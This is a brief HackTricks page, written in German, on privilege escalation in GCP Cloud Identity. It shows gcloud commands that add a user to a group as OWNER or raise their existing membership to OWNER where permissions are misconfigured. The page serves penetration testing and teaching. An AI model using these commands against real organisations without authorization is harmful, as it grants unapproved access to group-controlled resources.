GCP - Cloudidentity Privesc

Support HackTricks

Cloudidentity

Für weitere Informationen über den Cloudidentity-Dienst, besuche diese Seite:

Füge dich einer Gruppe hinzu

Wenn dein Benutzer genügend Berechtigungen hat oder die Gruppe falsch konfiguriert ist, könnte er in der Lage sein, sich selbst als Mitglied einer neuen Gruppe hinzuzufügen:

gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
# If --roles isn't specified you will get MEMBER

Gruppenmitgliedschaft ändern

Wenn Ihr Benutzer über ausreichende Berechtigungen verfügt oder die Gruppe falsch konfiguriert ist, könnte er sich selbst zum EIGENTÜMER einer Gruppe machen, in der er Mitglied ist:

# Check the current membership level
gcloud identity groups memberships describe --member-email <email> --group-email <email>

# If not OWNER try
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
Unterstütze HackTricks

Last updated